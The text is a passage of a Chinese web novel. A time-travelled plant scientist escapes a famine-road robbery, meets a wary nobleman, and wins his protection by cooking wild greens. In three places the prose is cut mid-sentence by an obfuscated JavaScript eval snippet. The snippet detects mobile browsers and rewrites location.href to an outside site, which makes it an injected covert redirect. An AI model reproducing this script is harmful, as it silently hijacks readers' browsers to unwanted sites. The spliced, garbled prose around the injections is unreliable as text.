《我靠种田养你啊》 1. 逃荒路上 八月的天气,热得人心里发慌,到了晚上也不见一丝凉风。 帐篷里闷得像蒸笼,叶容容额头上汗珠不停地往外冒,衣裳都黏在身上了。她实在受不了,伸手把帐篷帘子掀开,总算有风吹进来了,凉丝丝的,吹得人舒服了些。可紧跟着,就听见身后传来一声冷哼。 她转过头,刘婆子正盯着她掀开的帘子,嘴里念叨:“小姐,出门在外,闺名要紧。睡觉开着帘子,让人瞧见了,说些闲话,成何体统。” 叶容容低头看看自己汗湿的衣裳,又看看刘婆子那张板着的脸,没吭声,索性放下帘子,抬脚走了出去。 外面比帐篷里凉快些,她在地上捡了片枯叶子,对着自己扇了起来。还是热,热得她脑子都乱糟糟的。 她原本叫叶佳佳,是个搞植物分析的,一觉醒来就到了这大夏朝,成了个破落千金,也叫叶容容。原身的娘临死前把她托给刘婆子,让带去京城投亲。可这小孩头回出远门,半道上就病死了,倒便宜了她这个后来的魂。 也不知道她这身本事,在这儿能不能派上用场。 原身太小了,脑子里没留下什么有用的东西。眼下她也只能靠着刘婆子,等到了京城再说。刘婆子手里攥着投亲的路,她再怎么刁难人,叶容容也只能忍着。 夜色越来越深。再不睡,明天赶路又要犯困。叶容容想着再找片大点的叶子,带进帐篷里扇着用。 路上到处都是逃荒的人,讲究点的搭个帐篷,不讲究的直接躺地上就睡。远远近近的,能瞧见三五成堆的人挤在一起,有的还点着个小火堆,像是怕夜里凉。这些日子处下来,大家彼此都有个面子情,都是一起逃难的,互相照应着。这也是叶容容敢大半夜跑出来的底气。 穷人家,没谁会点灯熬油。油贵得很,一口下去就是好几天的口粮,谁舍得? 所以她路过一顶透着光的帐篷时,才觉得奇怪。那帐子里头,隐隐约约有磨刀的声音,一下一下的,听着让人心里发毛。 叶容容脚步顿了顿,那声音又没了。她站在原地听了一会儿,四周静悄悄的,只有远处有人翻身时衣裳摩擦的窸窣声。 她心里犯嘀咕,可转念一想,她们三个人穷得叮当响,唯一值钱的大概就是那顶打满补丁的帐篷,抢也抢不到她们头上。 这么想着,她便轻手轻脚地回了自己帐子。 刘婆子翻了个身,瞧见她进来,随口道:“小姐透气回来了?早些歇着吧,明早还得赶路。” 叶容容应了一声,躺下来,一边扇着风一边迷糊过去。 她没听见,身后刘婆子嘟囔了一句:“麻烦精。” 许是睡前听了那磨刀声,叶容容一晚上噩梦不断,第二天醒来,脑袋昏沉沉的,眼皮子重得抬不起来。 天刚蒙蒙亮,早起的人已经开始收拾行李了。窸窸窣窣的动静吵醒了刘婆子,她瞧见叶容容还在睡,脸就拉了下来,重重咳了一声。 丫鬟苗苗听见,赶紧殷勤地伺候刘婆子收拾行李。三个人紧赶慢赶地把帐篷拆了,搁上独轮车,又上了路。 比她们起得早的人已经走远了,人群慢慢往前挪,像一条长长的灰带子,望不见头。 苗苗凑到叶容容边上,小声问:“小姐,你昨晚怎么出去那么久?我和刘婆婆都没睡,等着你呢。” “找叶子,耽误了些工夫。”叶容容随口答了句,又压低声音,“我还以为刘婆婆不会在意我呢。我要是不见了,她怕是转头就回村了吧。也不知道我娘跟她说了什么,她竟愿意带咱们上京。” 苗苗摇摇头:“不会的。婆婆嘴巴是厉害些,可愿意带着咱们俩,已是难得了。要是留在家,就咱们俩,坐吃山空,哪来的活路?” 叶容容轻轻哼了一声:“咱们有手有脚,还有屋子,怎么就没活路?去京城就一定有?” 苗苗愣了愣,老老实实道:“这我也不懂。夫人让我跟着小姐,小姐去哪儿我就去哪儿。” 叶容容看着她,心里软了软。来到这世上,也就苗苗真心待她。将来若是要走,定要带上她。 两人说着话,不觉落后了些,刘婆子已走到了前头。叶容容正要加快步子追上去,余光却扫见一顶帐篷。 是昨晚那顶透着光、传出磨刀声的。 帐篷叠得整整齐齐,搁在一辆驴车上。赶车的是个精壮汉子,一身腱子肉,剑眉,眼神凌厉,怎么看都不像寻常逃荒的庄户人。他那驴车周围,清一色全是男人,没见着一个女人。 那汉子像是察觉到什么,转头看过来,正对上叶容容的目光。 那眼神冷得很,瞧得人心里发寒。 叶容容赶紧移开眼,心跳快了几拍。 苗苗还闷着头推车,什么也没察觉。叶容容一把抢过独轮车把手:“你推累了,我来。你快去追刘婆婆,我一会儿就赶上。” 苗苗不疑有他,小跑着往前去了。 刘婆子正想回头训斥那两个磨蹭的,就见苗苗追了上来,还笑嘻嘻的,把她到了嘴边的话堵了回去,只得狠狠哼了一声。 叶容容落在后头,推着车不敢慢。放眼望去,前后都望不见人烟,方才那伙人瞧着就来者不善。这世道,便是被抢了,也得留着命才好报官。 她脚下加紧,一路小跑,总算追上了前头两人。 刘婆子见她跑得两颊泛红,心念一转,这趟出门本是带她进京寻亲,也不知是福是祸。这丫头倒也安分,让走便走,叫停便停。这般想着,心里便软了几分,嘴上却骂苗苗:“懒东西,反了天了!自己不推车,倒叫你小姐推?” 苗苗不敢辩,赶紧接过车把。 叶容容觉着刘婆子忽然示好有些怪,便挽了她的胳膊,顺着话说:“还是婆婆疼我。等到了京城寻着亲戚,我定好好报答婆婆。” 刘婆子瞧她一眼,心里冷笑,这丫头,天真得很。卖了都要替人数钱。 叶容容忍不住又回头望了一眼。 那驴车正慢慢往一户富农家靠过去。那户人家前几日露了白,叫人瞧见还有几个钱。 莫不是要抢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463676|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶容容心一紧,赶紧打量四周。她们还在乡道上,远远的,能望见城池的轮廓。路上人多,一旦乱起来,谁也跑不掉。 她摸了摸衣袋,空空如也。银钱文书全在刘婆子随身的包袱里。若真有个闪失,两手空空,便是要饭也寻不着碗。 她目光落在刘婆子身上那鼓囊囊的小包袱上,心头一动。 叶容容扬起笑脸,凑过去撒娇:“婆婆,你天天背着这包袱,怪累的。我都没帮你分担过,今儿让我背一程可好?您年纪大了,少背些轻省。” 刘婆子瞧她这几日安分,又想着自己确实有些乏,便解下包袱递过去:“行吧,你背着。东西丢了,咱们可连城都进不去。” 说罢,又悄悄摸了摸胸口,重要的东西她贴身藏着,倒不怕这小蹄子作妖。 叶容容接过包袱,回头看了一眼,那伙人还没动静。她稍稍松了口气。 一行人埋头赶路。眼看就要到城门口了,忽然,人群炸了锅 “抢劫了!” 那精壮汉子亮出大刀,直扑那户富农。人群四散奔逃,哭喊声乱成一团。 叶容容只觉一股人流涌来,瞬间把她和刘婆子冲散了。她抬眼望向远处的城门,脑子里只有一个念头 快跑! 她一把抓住苗苗的手:“快跑!” 两人撒开腿,拼命往城门方向奔去。 刘婆子被人群挤得东倒西歪,眼睁睁瞧着那两个背影越跑越远,气得破口大骂:“杀千刀的!有本事你们死外边!” 那伙强盗要的是钱财,不是人命。叶容容拉着苗苗一口气跑出老远,直到再看不见方才那地方,才停下来。 两人弯着腰,大口大口喘气,汗如雨下。 好不容易缓过劲来,苗苗慌了神:“小姐,刘婆婆没跟上,咱们怎么办啊?” 叶容容摇头:“先进城再说。歇一歇,再想下一步。” 她打开从刘婆子那儿拿来的包袱,里头只有几件旧衣裳,几文钱,还有一封火漆封好的信。 她数了数,统共十文钱。 叶容容取出五文塞给苗苗:“就这些了,咱俩一人一半。往后有我一口吃的,就有你的。” 苗苗眼眶一红,重重点头:“小姐,我跟着你,你去哪儿我就去哪儿。” 叶容容把那封信贴身收好。这便是原身娘留下的,让她去京城寻亲的凭证。 两人背好包袱,又朝城门走去。 道上一个妇人背着小的,手里牵着大的。那小的忽然挣开手,跑去捡别人掉落的玩意儿。就在这时,远处马蹄声骤起,一队人马纵马而来,疾驰如风。 眼看马蹄就要踩上那孩子,妇人撕心裂肺地喊出声。 离孩子最近的叶容容来不及多想,冲过去一把推开她。 马蹄近在咫尺,她闭上眼,心道这回怕是要挨一下子了。 可那马竟在最后一刻生生停住。 马上之人声音低沉,略带着沙哑: “姑娘何故拦我们的马?” 2. 初遇 叶容容仰起头,迎着风看到了不远处端坐在马背上的男人。 周围都是风尘仆仆的难民,唯他不同,轮廓分明,眉峰轻佻,眼尾微垂,嘴角明明挂着笑,可惜只浮于表面,并不达眼底。 身后跟着的一队人见他停下来,也纷纷勒马。叶容容心里暗自思考,看样子,他们像极了富家公子出行,偏偏出现在逃荒的路上,实在古怪。若是能有几分交际,得到一些助力也是挺好的。 斟酌着开口道:“公子明鉴,小女子只是为了救人,怎么敢拦公子的马。” 蒋成晏顺着声音传来的方向望去,这才看清那拦马之人的模样,不过十五六岁的年纪,一身粗布衣裳沾满了泥尘,可那双眼睛却清亮得很,此刻正怯生生地望着他,却又不像旁的难民那般躲闪。 他收回目光,没有应声,只是淡淡扫了小六一眼。 小六静默一瞬,立即翻身下马,快步走到蒋成晏马侧,垂首道:“属下办事不力,还请公子责罚。” 无人应话,唯独小六长跪在地。 此番暗中外遣乃是上面的旨意,一路来风尘仆仆,便是想伪装其中探取真实目的。可眼下,偏生出个拦路虎来。 人群一静,便将远处难民抢夺粮食的喧哗声传过来。 蒋成晏没有看他,只是静静立于马背之上,目光缓缓移向那喧闹之处,停留片刻,又移回来,最终落在身前那个女子身上。 蒋成晏静了一会,淡声问道:“姑娘是京城中人?” 叶容容面上顿显赫意,急忙解释道:“并非,小女只是逃难至此。” 蒋成晏不相信这一切只是巧合,他打量着她,衣裳确实脏兮兮沾着泥,可那双手却白白净净的,指头纤细,一个茧子都没有。 闻言,蒋成晏指尖轻叩马鞭,轻笑一声,缓缓道:“原来如此,方才多有得罪,姑娘去哪里,捎你们一程。” 叶容容一听,赶忙感谢道:“多谢公子,能捎我们一程就感激不尽了。” 蒋成晏朝小六递了一个眼色。小六会意,起身走到苗苗跟前。 蒋成晏这才转过头来,语气温和了几分:“出门在外,马匹不够用,只好委屈姑娘与我同骑了。” 叶容容回答道:“岂敢,打扰公子了。” 他心里冷笑一声,面上却不显。一行人又重新骑上马,急匆匆的朝着城门飞奔而去。 马蹄扬起更多的尘土。母亲含泪抱着失而复得的小女儿,说:“没事就好,多亏女菩萨救了你。” 不多时,一行人就到一处歇脚的地方,一个废弃的破庙。破庙里面零零散散躺着一些难民。 蒋成晏看了一眼天色,对众人说道:“天色不早了,今晚就在这里歇息吧。” 众人齐声答应下来。叶容容被扶下马,道了谢,蒋成晏摆摆手,转身去栓马。 苗苗跑过来,一把攥住叶容容说:“小姐,我很担心你啊,刚刚真的太凶险了。” 叶容容摸了摸苗苗的头,轻声安慰道:“傻丫头,我这不是没事吗。好了好了,别担心了,今天好好休息,明天才能有精力继续进京城呢。” 两个人正在互相安慰的时候,旁边一个躺在地上的男人听到她们说话,抬起头来说道:“你们两个想进京城?” 听到有人说话,叶容容走过去,询问道:“这位大哥是要去京城吗?” 男人冷哼一声,不屑道:“劝你们乘早放弃,另寻其他谋生路吧。” 叶容容问道:“大哥此话怎讲?”那男人却又闭口不言,转身背对着她们,一副不愿意多说的样子。 叶容容愣了愣,又看向旁边一个蜷缩着的老汉,走过去问:“老伯,我想打听个事,京城那边……” 那老汉抬眼看她一下,咳了两声,摆摆手,也不说话。 叶容容不死心,又往庙里头走了几步,见一个中年妇人靠在墙角,便蹲下来问:“大嫂,我想问问,去京城的路好走吗?” 那妇人打量她一眼,嗤笑一声:“去京城?你们是头一回逃荒吧?京城早不让进了,离好几里地就有官兵拦着,见一个赶一个。我那当家的,就是和官兵理论被打了一顿撵回来,腿都折了。” 她说着,往庙门口努努嘴,“喏,刚才不理你那男的,也是叫人打折的。” 叶容容心里一沉。她又找了两个人打听,得到的都是差不多的答复,京城进不去,去了也是白去。 叶容容压下情绪,拉着怔愣在原地的苗苗离开了。 庙门口拴马的小六栓好马后往庙里瞅,正看见叶容容到处跟人打听进京的事。 他眼珠一转,走到蒋成晏身侧,低声道:“公子,方才那两个女子,正到处跟人打听进京的事。别人说不让进,她们还不死心。” 蒋成晏正在喂他的爱马吃糖块,说道:“这样啊。确实可疑,我本来想把她们留在身边,好好盘问一番的。” 又把手里面最后一块糖拿给旁边的人,吩咐道:“你来把糖喂了,我倒是要看看,她们两个现在要干嘛。” 随即走向叶容容的位置。叶容容正发着呆,就听见苗苗肚子咕咕咕的叫起来。 苗苗不好意思的冲叶容容笑道:“小姐,我一天没吃饭,饿了。” 叶容容这才想起来,她们光顾着逃命,一整天没吃饭了,她赶紧站起来,拍拍身上的浮尘,说道:“走,我带你去找些吃的。” 苗苗问道:“可是小姐,这附近荒郊野岭,哪里来的吃的啊。” 叶容容微微一笑道:“这可难不倒我,只要有野菜就饿不死我们。”说罢,便带着苗苗往外走。 正巧和来找她的蒋成晏撞到。蒋成晏看到叶容容拉着苗苗,心想,该不会她们发现了刚刚小六在偷听她们,要跑?小六办事还是太毛毛躁躁了。 他往后退了一点,刚刚好挡在庙门口,询问道:“姑娘这是往哪里走?” 叶容容回答道:“我们出去寻找看有没有可以吃的野菜。” 蒋成晏目光在她脸上停了停,心想,这个借口倒是新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463677|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜。方圆几里能吃的野菜早就被难民扫空了,她一个娇滴滴的姑娘家,能认得什么? 蒋成晏心里是这么想的,嘴上却说道:“姑娘要是不嫌弃,我们还有多余的粮食,可以分姑娘一些。” 居然遇到大善人了,叶容容看着蒋成晏,说到:“多谢公子,我们刚才骑马的时候,我依稀看到有能吃的野菜,要是寻到了也分给公子尝尝,实在寻不到,才来厚着脸皮向公子讨要。” 蒋成晏不屑的看着她们两个,微微侧身,把出去的路让出来,说道:“那就恭敬不如从命了,姑娘何不带上我,我也可以帮姑娘打个下手。” 小六这个时候岔过来,对苗苗说到:“你家小姐有我们公子陪同,你就别去,我们这几日天天骑马,衣服被磨破了,劳烦帮我们补一下,定不会不让你白做。” 苗苗看向叶容容,叶容容点点头,苗苗便跟着小六走了。 蒋成晏提醒道:“走吧姑娘。”两个人一起并肩走出破庙的大门。 蒋成晏问道:“敢问姑娘芳名,一直姑娘姑娘的叫,也不太好。” 叶容容回答道:“我叫叶容容,树叶的叶。” 蒋成晏说:“那我就叫你叶姑娘,我姓蒋。” 叶容容心想这个人够谨慎,只愿意告诉我姓,“好的,蒋公子。” 走到破庙外面,确实如蒋成晏所料,能吃的早都被吃了。剩下的灌木丛,都是带刺,是连马都不愿意吃的存在。 叶容容径自走向了带刺的灌木丛,如果她刚刚在马背上没有看错的话,这个就是后世经过一代一代选种培育的苦刺叶。 叶片带刺不能食用,就算勉强忍受刺,但是入口是酸涩口的,解决办法就是加碱中和,而古代没有纯碱,但是草木灰里面就有碱。 蒋成晏看到叶容容径直走向不能吃的灌木丛,出声提醒道:“叶姑娘,这种叶子连马都不吃的。” 叶容容回头答道:“你放心,我有一种办法可以让它能吃。” 一边说话,一边手里的行动没停,一直在不停扯苦刺叶的嫩芽。不一会手里扯了一大堆,转头冲蒋成晏说道:“公子放心,这个能吃,等会做出了,我先尝给公子看。” “没想到你真的认识野菜?”蒋成晏眯了眯眼,这个叶容容真的认识什么能吃。 之前在边疆,最不缺的就是这种野菜,如果真的能吃,起码可以保证打仗的时候不会被饿死。 蒋成晏问道:“叶姑娘还认识别的能吃的野菜吗?” “认识,不算多,我们刚刚路上就有很多能吃的,没人吃,我瞧见了,不好意思叫停。”叶容容摘了一大堆嫩芽,正准备返回。 蒋成晏看着她,忽然笑了,那笑意却只浮在嘴角:“叶姑娘可愿随我进京?沿途见着的野菜,烦劳一一指给我看。事成之后,我保你们顺顺当当进城。” 叶容容眼睛一亮:“真的?” “自然。” 叶容容正要道谢,身后忽然传来一阵窸窸窣窣的动静…… 3. 寻觅 叶容容正要道谢,身后忽然传来一阵脚步声。 她回头一看,看见一个男人大步流星地朝这边走来。叶容容心里头犯嘀咕:这人谁啊?怎么平白无故出现在这里? 还没等她琢磨明白,那人直冲她来了,脸红脖子粗的,眼睛瞪得通红,指着她就骂:“原来你在这里!终于找到你们了,老子今天非扒了你们的皮不可!” 叶容容定睛一看,心里咯噔一下,这不是刘婆婆的男人吗?他怎么会在这儿?难道是刘婆婆带着他找来的?可刘婆婆人呢? 她下意识地往四周扫了一眼,没瞧见刘婆婆的影子,心里头的疑惑更重了。 叶容容问道:“你是老刘,有话好好说,怎么动手动脚的。刘婆婆呢,怎么就你一个人?” 老刘已经冲到跟前,伸手就要抓她,嘴里嚷着:“好好说,我现在就带你去老婆子面前好好说!你们怎么扔下她自己跑了?” 叶容容侧身躲开,皱着眉道:“当时情况危急,有歹徒杀人抢东西,我们也是没办法才分开跑的。” 这边的动静不小,蒋成晏自然也看见了。他站在那儿没动,瞟了叶容容一眼,又看了看那个男人,然后收回目光,从腰上取下马鞭,慢悠悠地在手里转着玩。 老刘这才注意到旁边还站着个人。他上下打量了蒋成晏一眼,见这人一副不慌不忙的样子,心里反倒有点打鼓。他停下动作,恶狠狠地说:“哦,我明白了,怪不得你现在牙尖嘴利的,原来是攀上高枝了。” 叶容容飞快地瞥了蒋成晏一眼,见他没什么反应,便沉下脸道:“我攀不攀高枝,跟你有什么关系?你一上来就打打杀杀的,要不是看在熟人的份上,我早报官抓你了。” 老刘被她这话吓了一跳,又偷偷去看蒋成晏,那张脸冷冷的,手里转着马鞭,眼皮都没抬一下。这人看着就不像普通逃荒的,腰杆笔直,一看就不是好惹的。 他心里发虚,语气倒是软了些,转头对蒋成晏说:“公子可别被这小蹄子骗了。我家婆娘好心好意送她进京城寻亲,结果她们两个趁乱跑了,扔下我婆娘一个人。等我找到她的时候,人已经不行了......” 说着说着,眼圈就红了。他又转过头来,恶狠狠地瞪着叶容容:“要不是你们扔下她跑了,她咋会一个人?她临死前说了,就是你们抛弃她的!” 听到这话,叶容容声音一下子就低了:“刘婆婆......死了?” 老刘冷哼一声:“现在哭,晚了!老子这就带你们两个去给她赔罪!” 蒋成晏听着他们吵,手里转马鞭的动作一直没停,脸上也没什么表情,好像这事儿跟他一点关系都没有。 过了好一会儿,他才慢悠悠开口:“叶姑娘,自己能处理吗?” 老刘听他这语气,好像也不怎么护着叶容容,眼睛顿时一亮,又嚷嚷起来:“公子可别被她骗了!她就是个没爹没娘的孤女,靠坑蒙拐骗,哄人带她去京城寻亲!” 叶容容心里一紧。她知道蒋成晏这是在试她,要是连这点场面都应付不了,那人家凭什么帮她。 她深吸一口气,定了定神,说:“他说的没错,我确实是没爹没娘的孤女。但这跟我认得野菜有什么关系?公子要是不信,我这就做出来给你看。要是我骗人,任凭公子发落。” 蒋成晏听了,嘴角微微翘起来:“那就有劳叶姑娘了。” 老刘见叶容容三言两语就把蒋成晏稳住了,气得不行,咬牙道:“公子你瞧见了,这贱皮子心眼多得很,连自己恩人都能扔下不管,你把她留在身边,早晚要倒大霉!” 叶容容冷笑一声:“恩人?刘婆婆带我上路,是收了我娘银子的。这一路上,她没少骂我,也没少惦记我身上那点东西。说不上恩人,不过是互相利用罢了。”她顿了顿,盯着老刘,“强盗来了,你不跑,等着送死吗?” 老刘气得浑身发抖:“你个小贱人,还敢嘴硬!”他举起拳头就要往上冲。 叶容容侧身一闪,老刘那一拳落了空,整个人往前栽了一步。 她站稳了,吸了口气,耐着性子说:“你先别急,有话慢慢说。刘婆婆的事我也难过,你就算把我打死了,她也活不过来不是?” 老刘站稳身子,喘着粗气瞪她:“难过?你少在这儿假惺惺的!我婆娘对你可不薄,你就这么报答她的?” 叶容容憋着火气,尽量说得平和点:“我知道刘婆婆带我一路不容易,我心里清楚。可那天的情况,歹徒拿着刀到处砍人,谁不跑谁死。我和苗苗也是拼了命才跑出来的。” “放屁!”老刘打断她,“你们跑了,丢下她一个老婆子,她能跑得过谁?” 他越说越气,又要往上冲。 叶容容赶紧往后退了两步,正想着怎么劝住他,就听见身后“啪”的一声。 她回头一看。原来是苗苗见她们许久没回来,出来寻她们了。 苗苗一脚踩在了刚才她摘的那堆野菜上,嫩芽被踩得稀烂,汁水都溅出来了。 苗苗吓得脸都白了,结结巴巴道:“小、小姐,我不是故意的……” 老刘也看见了地上的野菜,愣了一下,眼睛顿时亮了,弯腰就抢。 他一把抓起那些被踩烂的嫩芽,又把散落在旁边的几根捡起来,往怀里塞。叶容容看着他的动作,心里一动。 逃荒路上,野菜就是命。他这么紧张这些野菜,说明也饿得不轻。 她低头看了看脚下,又往四周扫了一眼,瞧见不远处还长着几株别的野菜,叶子宽宽的,和她刚才摘的那种完全不一样。 她脑子一转,认出了那是什么。这东西看着好看,吃进嘴里却是苦的,还有点毒性,吃多了要拉肚子。 可逃荒的人哪管这些?看着能吃的就往嘴里塞。 叶容容心里有了主意。她蹲下身,把那几株野菜拔了出来,在手里抖了抖土,故意往老刘那边递了递,嘴里还念叨着:“这个也能吃,比刚才那个还嫩呢。” 老刘眼睛一直盯着她手里的东西,见她举起来,二话不说,一把就抢了过去,塞进怀里,生怕她反悔似的。 叶容容心里松了口气,面上却没露出来,只说:“这个你拿去吧,够你吃两顿了。” 老刘抱着怀里的野菜,脸上的怒气倒是消了几分,嘴里还是不饶人:“算你还有点良心。我婆娘的事,没完!” 叶容容顺着他说:“刘婆婆的事,我以后有机会一定去给她上柱香。眼下大家都饿着肚子,你先顾好自己吧。” 老刘哼了一声,抱着野菜转身就走,走了两步又回头瞪了她一眼:“别以为这样就算了!”说完,头也不回地走了。 叶容容看着他的背影消失在夜色里,这才长长地吐出一口气。 苗苗凑过来,小声问:“小姐,你刚才给那个人的野菜,能吃吗?” 叶容容笑了笑,没答话,只是低头看了看地上被踩烂的那些嫩芽,心疼地叹了口气。 蒋成晏一直站在旁边,这会儿才慢悠悠开了口:“叶姑娘倒是个大方人。” 叶容容抬起头,对上他那双似笑非笑的眼睛,心里明白,方才那一出,他全看在眼里了。 她也不瞒着,只淡淡道:“他闹也闹了,东西也拿了,总该消停会儿了。” 蒋成晏没再说什么,只是看了她一眼,转身往庙里走。 叶容容蹲下身,把地上还能捡起来的嫩芽收拾了一下。 叶容容蹲在地上,把那些被踩烂的嫩芽挑拣了一番,能用的没剩多少了。 她叹了口气,站起身来,对苗苗道:“你在这儿等着,我再去摘点。” 苗苗连忙道:“我跟你去。” “不用,就在那边,一会儿就回来。”叶容容说完,转身往庙外走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463678|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋成晏站在庙门口,见她出来,也没拦,只是看了她一眼。 叶容容没理他,径直走到那片灌木丛前,借着月色又掐了一把嫩芽。 这次她摘得比方才还多,心里盘算着,光有野菜不行,还得找点草木灰。 她四下看了看,瞧见庙门口有堆烧过的火堆,便走过去扒拉了几下,捡了几块灰白色的草木灰揣进怀里。 回到庙里,苗苗已经不知道从哪里找到一口小锅。 叶容容把野菜洗干净,又找了几块石头搭了个简易的灶台,把锅架上去,倒了点水,生了火。水烧开了,她把野菜下进去,又悄悄把那几块草木灰碾碎了撒进锅里。 苗苗蹲在旁边看,小声问:“小姐,放那个能行吗?” “能行。”叶容容搅了搅锅里的菜叶子,“这野菜有点涩口,放了草木灰就不涩了。” 苗苗似懂非懂地点点头。 锅里的水咕嘟咕嘟冒着泡,野菜的叶子渐渐变了颜色,一股淡淡的清香味飘了出来。庙里那些难民本来都躺着的,这会儿一个个都坐起来了,眼睛直勾勾地盯着那口锅。 小六子也凑过来了,抽了抽鼻子,扭头对蒋成晏道:“公子,闻着还挺香的。” 蒋成晏没说话,只是往这边看了一眼。 叶容容拿树枝夹了一片叶子出来,吹了吹,放进嘴里尝了尝。嗯,不涩了,虽然还是有点苦,但比起生啃那些带刺的叶子,已经好了不知道多少倍。 “好了。”她松了口气,把锅从石头上端下来。苗苗早就饿得不行了,端着碗眼巴巴地看着。 叶容容先给自己盛了一碗,坐下来慢慢吃了几口。她吃完了小半碗,抬起头,对蒋成晏道:“公子放心,没毒。” 蒋成晏看了她一眼,没接话,只是走过来,端起碗自己盛了一碗。 他夹了一筷子放进嘴里,嚼了两下,眉头微微一挑。 他又夹了一筷子,这才慢悠悠道:“倒是不难吃。” 小六子早就等不及了,凑过来也盛了一碗,尝了一口,眼睛都亮了:“嘿,还真不赖!比我们这几天啃的干粮强多了!” 那些难民眼巴巴地看着,叶容容锅里的野菜也不多了,便让苗苗把剩下的分给了旁边几个孩子。 叶容容自己又盛了小半碗,端着坐在角落里,一口一口地嚼着。 野菜的味道说不上好,但热乎乎的汤灌进肚子里,整个人都舒服了不少。 蒋成晏吃完碗里的菜,把碗搁在一旁,看着她,忽然开口道:“叶姑娘这手艺,倒是不错。” 叶容容抬起头,对上他那双似笑非笑的眼睛,淡淡道:“不过是认得几样野菜罢了,算不上什么手艺。” “认得几样野菜?”蒋成晏笑了一下,那笑意却只浮在嘴角,“这荒郊野岭的,能认得能吃的东西,就是本事。我在边关待过,知道饿肚子的滋味。要是军中有人认得这些,也不至于年年饿死人。” 叶容容心里一动,没接话。蒋成晏看着她,语气比方才认真了些:“叶姑娘,我再问你一次,可愿意随我进京?路上见着的野菜,你指给我看。到了京城,我保你们主仆二人安安稳稳。” 叶容容放下碗,看着他。她知道这人还在试探她,但她也知道,这趟顺风车,她非搭不可。 “好。”她点了点头,“我跟公子去。” 蒋成晏点点头,没再多说,站起身拍了拍衣裳,往庙里头走了。 苗苗凑过来,小声问:“小姐,咱们真要跟他去京城啊?” 叶容容点点头:“跟着他,总比咱们两个瞎闯强。” 苗苗似懂非懂地“哦”了一声,又低头扒拉碗里剩下的菜叶子。 叶容容靠在墙边,看着庙门口那点月光,心里头想着:今晚这顿饭算是糊弄过去了,可明天、后天呢?她得让蒋成晏觉得她有用,才能一路跟着他到京城。 4. 大显身手 因为心里面想着事情,叶容容晚上并没有休息好。她靠着墙壁,迷迷糊糊的,想到了自己的没有穿越过来的时候。 那个时候她还在室外做实验,最新一批的植物数据出来了,她们实验室今年培育出了更加抗旱的小麦品种,明年有望在干旱的温带大陆性气候地区试种,导师喜笑颜开,答应给她一作,自己只署名通讯作者。 “小姐!小姐!” 苗苗的声音把她拽了回来。叶容容睁开眼,天已经蒙蒙亮了,破庙外头有人在收拾东西,叮叮当当的。 “该上路了。”苗苗小声说,“蒋公子那边准备好了。” 叶容容揉揉眼睛,站起来,把身上沾的干草屑拍掉。昨晚喝了那锅野菜汤,不算饱,但比饿着强。 出了庙门,蒋成晏站在马旁边,手里攥着缰绳,正在等待她们主仆二人。小六子牵着另一匹马。 “叶姑娘,上马吧。”蒋成晏抬了抬下巴,示意她上他那匹。 叶容容也没矫情,踩着马镫翻了上去。苗苗也被小六子带上另一匹马,她紧张得攥着缰绳不敢动。 一行人往县城方向走。 路上逃荒的人越来越多,三三两两的,有的拖家带口,有的孤身一人,个个灰头土脸。叶容容坐在马背上,视野高了,看得也远了。 她忽然想起昨晚那锅野菜,又想起自己以前在实验室里做的事。那时候天天跟植物打交道,什么能吃,什么有毒,什么耐旱,什么喜水,闭着眼睛都能说出来。谁能想到,这些本事有一天真能救命? “叶姑娘。”蒋成晏忽然开口,打断她的思绪。 “嗯?” “你说你认得野菜,那这一路上,遇见了就停下来讲讲。我们不怕耽误时间。”他语气淡淡的,听不出是商量还是吩咐,“能吃的,不能吃的,都说一说。” 叶容容点了点头回答道:“行。” 走了没多远,就发现一棵长满荆棘的树,周围矮一点的叶片已经被采走了,只有顶端有一点叶片。叶片也是布满小刺。叶容容眼睛一亮,拉了拉蒋成晏的袖子:“公子,停一下。” 蒋成晏勒住马。叶容容翻身下来,跑到荆棘旁边,冲蒋成晏说道:“蒋公子,太高了,我够不着。” 不等蒋成晏发话,旁边的随从翻身下来,助跑两步,轻轻松松就摘下最顶端的嫩芽。 随从看到手中带着小刺的嫩芽,交给了叶容容。 “这个能吃。”她回头说,“刚刚长出来的小刺是软的,人可以吃,长大了刺就不能吃了。。” 她把手里的嫩芽递给蒋成晏。蒋成晏接过去看了看,没吃,只是收进了马背上的袋子里。 叶容容也不在意,站起来拍了拍手,又上了马。 一行人继续往前走。 又过了半个时辰,路边的沟坎上长着一片宽叶子的野菜,颜色灰扑扑的,看着就没有食欲。叶容容又喊了停。 “这个也能吃。”她指着那片野菜,“不过不能生吃,得焯水,不然麻嘴。要是有蒜末拌一拌,味道更好。” 小六子在旁边听着,咽了口唾沫:“叶姑娘,你就别说了,说得我肚子都叫了。” 苗苗骑在马上,探着脖子看:“小姐,这个咱们采不采?” 